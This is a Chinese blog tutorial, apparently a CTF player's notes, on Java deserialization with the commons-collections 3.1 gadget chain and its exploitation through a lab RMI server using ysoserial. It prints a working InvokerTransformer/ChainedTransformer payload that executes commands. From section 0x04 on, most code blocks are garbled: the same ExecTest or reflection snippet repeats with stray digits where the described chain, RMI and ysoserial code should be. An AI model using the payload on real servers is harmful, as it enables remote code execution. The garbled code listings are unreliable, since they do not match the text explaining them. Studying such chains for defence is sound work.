0x00前言
因为我平时打CTF的时候遇到的web大部分都是php的代码,php环境搭建也十分的方便。所有在刚刚接触到java反序列化漏洞的时候也不知道怎么下手,因为两者差别还是比较大,所以希望自己的见解能够对刚接触这块的人有所帮助
我的源码和笔记Github地址在文章的最后
这篇文章之前是发到先知上https://xz.aliyun.com/t/4711
但登录自己的账号看文章很麻烦23333,所以还是备一份到博客上
0x01我了解JAVA发序列化的过程
最开始看java反序列化的文章是比较难懂的,即使能把别人的例子拿来运行成功了,但是还是没有把要领装入脑袋中。我学习这方面的步骤如下,希望有所帮助
1.先了解下JMX是什么,明白本地java虚拟机如何运行远程的java虚拟机的代码,
2.了解RMI是什么,明白RMI和JMX的异同之处,
3.了解java反射的机制
4.了解java的反序列化commons-collections-3.1漏洞
5.再把commons-collections-3.1的反序列化运用在远程的RMI服务器上
这篇文章讲述的内容是
本地运行commons-collections-3.1的反序列化
构造commons-collections-3.1的序列化的代码
启动rmi服务,利用commons-collections-3.1的反序列化
0x02 java反射简介
先看在java中执行系统命令的方法
public class ExecTest { public static void main(String[] args) throws Exception{
Runtime.getRuntime().exec("notepad.exe");
}
}
该代码会运行并打开windows下的记事本
它正常的步骤是
public class ExecTest { public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
}
}
那么相应的反射的代码如下
import java.lang.reflect.Method;public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
getMethod(方法名, 方法类型)invoke(某个对象实例, 传入参数)
这里第一句Object runtime =Class.forName("java.lang.Runtime")
的作用
等价于 Object runtime = Runtime.getRuntime()
目的是获取一个对象实例好被下一个invoke调用
第二句Class.forName("java.lang.Runtime").xxxx
的作用就是调用上一步生成的runtime
实例的exec
方法,并将"notepad.exe"
参数传入exec()
方法
0x03 JAVA反序列化的操作函数
ObjectOutputStream
类的writeObject(Object obj)
方法,将对象序列化成字符串数据ObjectInputStream
类的readObject(Object obj)
方法,将字符串数据反序列化成对象
测试代码
import java.io.*;public class Serialize {
public static void main(String[] args) throws Exception{
//要序列化的数据
String name = "sijidou";
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(name);
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize1.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);
}
}
把刚刚的执行操作的代码进行序列化和反序列化
import java.io.FileInputStream;import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Serialize2 {
public static void main(String[] args) throws Exception{
//要序列化的数据
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
Object evil = Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
//Object evil = Runtime.getRuntime().exec("notepad.exe");
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(evil);
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);
}
}
这样是不能触发的,因为Runtime类没有继承Serializable接口,所以导致不会成功,它弹是在写Object的时候会弹的
0x04 commons-collections-3.1反序列化漏洞
代码在远程调用前,要明白本地是如何实现的,这个时候DEBUG是个非常棒的东西
首先漏洞组件的下载地址:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1
网上很多都拿这个反序列漏洞来讲解java反序列化的知识点,我这里就拿一个payload,代码如下
public class ApacheSerialize { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
这里涉及到了3个比较重要的对象InvokerTransformer``ChaniedTransformer
和TransformedMap
首先看看InvokerTransformer
,它是执行恶意代码的主要问题所在
public Object transform(Object input) { if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAcces***ception var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
可以看到它利用了反射进行调用函数,Object是传进来的参数,this.iMethodName
,this.iParamTypes
和this.iArgs
是类中的私有成员
这反射类比下正常的调用就是如下形式
input.(this.iMethodName(<this.iParamTypes[0]> this.iArgs[0], <this.iParamTypes[1]> this.iArgs[1]))
input
是类名, this.iMethodName
是方法名, 之后的this.iParamTypes
是参数类型,this.iParamTypes
是参数的值
查看3个私有变量传进来的方式,是利用的构造函数,即在new的时候,把参数代入到私有成员
public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
因此我在payload中第一部生成的transformers数组的效果等价于
public class ExecTest { public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
}
}
0
input是后面调用transform(Object input)
的传参,但是这3个明显是闲散的,我们的目的是把它们组合起来
这时候就是要靠ChaniedTransformer
看一下ChainedTransformer
类的transform方法
public class ExecTest { public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
}
}
1
是一个反复的循环调用,后面一个transformers调用前面一个tranformers的返回值,并且会遍历一遍数组里面的所有值
再看看之前构造的chainedTransformer对象里面的内容
public class ExecTest { public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
}
}
2
最后看能带有触发这个攻击链的方法的对象TransformedMap
利用 Map.Entry取得第一个值,调用修改值的函数,会触发下面的setValue()代码
public class ExecTest { public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
}
}
3
而其中的checkSetValue()实际上是触发TransoformedMap的checkSetValue()方法,而此次的this.valueTransformer就是ChianedTransformer类,之后就会触发漏洞利用链
public class ExecTest { public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
}
}
4
回到整体的payload的中的参数
payload中的利用反射的结构是这样的
public class ExecTest { public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
}
}
5
因为我JAVA不是太熟悉,理解了好久,这里简述下我的理解,InvokerTransformer
的构造函数如下
public class ExecTest { public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
}
}
6
第一个是字符串,是调用的方法名,第二个是个Class数组,带的是方法的参数的类型,第三个是Object数组,带的是方法的参数的值
以getMethod
举例
第一个参数"getMethod"
是这个函数的名字
第二个参数new Class[]{String.class, Class[].class}
是getMethod
的2个参数参数类型,一个是String
,一个是class[]
第三个参数new Object[]{"getRuntime", new Class[0]}
是getMethod
的2个参数值,一个是getRuntime
,一个是空,因为是数组形式所以要这么写
上面这个组合起来相当于 getMethod(\<String\> "getRuntime", \<Class[]\> null)
整理一下思路
public class ExecTest { public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
}
}
7
至此已经能够触发漏洞了,之后还会执行什么步骤无关紧要了
0x05 payload实现
上面的代码只是作为一段小脚本执行了,但是没有被用来通过网络传输payload,然后被反序列化利用,并且还要满足被反序列化之后还会改变map的值等总总因素的影响,假设一个理想的情况如下
public class ExecTest { public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
}
}
8
该情况可以触发,但是现实中往往不一定存在把数据反序列化后,再调用其中TransformedMap
的Map.Entry
类型的setValue
方法
在java中,自带的类中还有一个类叫做AnnotationInvocationHandler
该类中重写的readObject方法在被调用时会将其中的map
,转成Map.Entry
,并执行setValue
操作,那么能把TransformedMap
装入这个AnnotationInvocationHandler
类,再传过去,就可以不用考虑之后代码是否执行setValue
就可以直接利用漏洞了
public class ExecTest { public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
}
}
9
setValue的点在这一行
import java.lang.reflect.Method;public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
0
最后利用的payload如下
import java.lang.reflect.Method;public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
1
能够直接触发
为什么jdk为1.8就无法这么利用了,看jdk1.8的AnnotationInvocationHandler
源码,readObject中在jdk1.7的setValue
已经变成了
import java.lang.reflect.Method;public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
2
import java.lang.reflect.Method;public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
3
在jdk1.8下不能触发
ysoserial的包里面也有commons-collectons-3.1的payload,它利用的是jdk中的BadAttributeValueExpException这个类重写readObject来实现的
该项目的GitHub地址https://github.com/frohoff/ysoserial
ysoserial的使用方法
import java.lang.reflect.Method;public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
4
把1.txt 里面的内容反序列化化即可触发生成calc.exe的命令
0x06 RMI简介
RMI(Remote Method Invocation),远程方法调用
JNDI(Java Naming and Directory Interface),Java 命名与目录接口
JNDI是注册表可以包含很多的RMI,举个例子就JNDI像个本子,RMI像本子上的记录,客户端调用RMI记录的时候会先去JNDI这个本子,然后从本子上找相应的RMI记录
性质
与JMX服务器之间的通信使用的协议就是rmi协议
rmi可以传输序列化的数据
传输原理
1.客户端 => 客户端本地的stub类
2.客户端本地的stub类把信息序列化 => 服务器端的skeletons类
3.服务器端的skeletons类把信息反序列化 => 服务器端的对应类进行处理
4.服务器端对应类处理完后 => 服务器端的skeletions类
5.skeletions类序列化数据 => 客户端本地的stub类
6.客户端本地的stub类把数据反序列化 => 客户端
但在java 1.2版本后免去了3、5的步骤,直接在对应的类上进行序列化和反序列化
0x07 RMI服务器实现
首先定义一个User
接口,这个接口和普通接口不一样在于要抛出RemoteException
的异常
import java.lang.reflect.Method;public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
5
接着实现该接口的各种函数的UserImpl
类,实现的类也要抛出RemoteException
的异常
import java.lang.reflect.Method;public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
6
最后是启动这个服务
import java.lang.reflect.Method;public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
7
LocateRegistry.createRegistry(4396)把4396端口号在JNDI中注册,将开启RMI的服务的端口
Naming.rebind()来实现将类和端口版本,开放出去
运行后,就会在4396端口进行监听
0x08 通过RMI服务器运行commons-collectons-3.1反序列化漏洞
这个RMI的问题在于,它的void dowork(Object work)
函数接收了Object
类型
import java.lang.reflect.Method;public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
8
而我们的把攻击链生成的payload也是Object类型,因此可以通过该点传入触发漏洞
在jdk1.7,并且服务器上有commons-collectons-3.1的情况下,运行下面payload弹出计算机
import java.lang.reflect.Method;public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
9
在jdk1.8下会失败
那么利用之前的ysoserial生成的1.txt,来触发jdk1.8的漏洞
getMethod(方法名, 方法类型)invoke(某个对象实例, 传入参数)
0
成功弹出计算器
那么在另一台设备上,我这里用kali的虚拟机使用ysoserial
工具来给本地的win10RMI服务器发送payload
win10在虚拟机的虚拟网卡ip:10.10.10.1
kali的ip:10.10.10.128
getMethod(方法名, 方法类型)invoke(某个对象实例, 传入参数)
1
结语
源码和笔记
JMX:https://github.com/SiJiDo/JMX-
RMI:https://github.com/SiJiDo/RMI-simple-notes
JAVA反序列化:https://github.com/SiJiDo/JAVA-Serialize-vuln
参考文章
https://www.jianshu.com/p/a947717ded70
https://blog.csdn.net/lmy86263/article/details/72594760
http://www.importnew.com/20344.html
https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
https://www.cnblogs.com/ysocean/p/6516248.html
https://www.freebuf.com/vuls/170344.html
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
https://www.cnblogs.com/luoxn28/p/5686794.html
https://security.tencent.com/index.php/blog/msg/97
https://p0sec.net/index.php/archives/121/
https://xz.aliyun.com/t/4558
还没有评论,来说两句吧...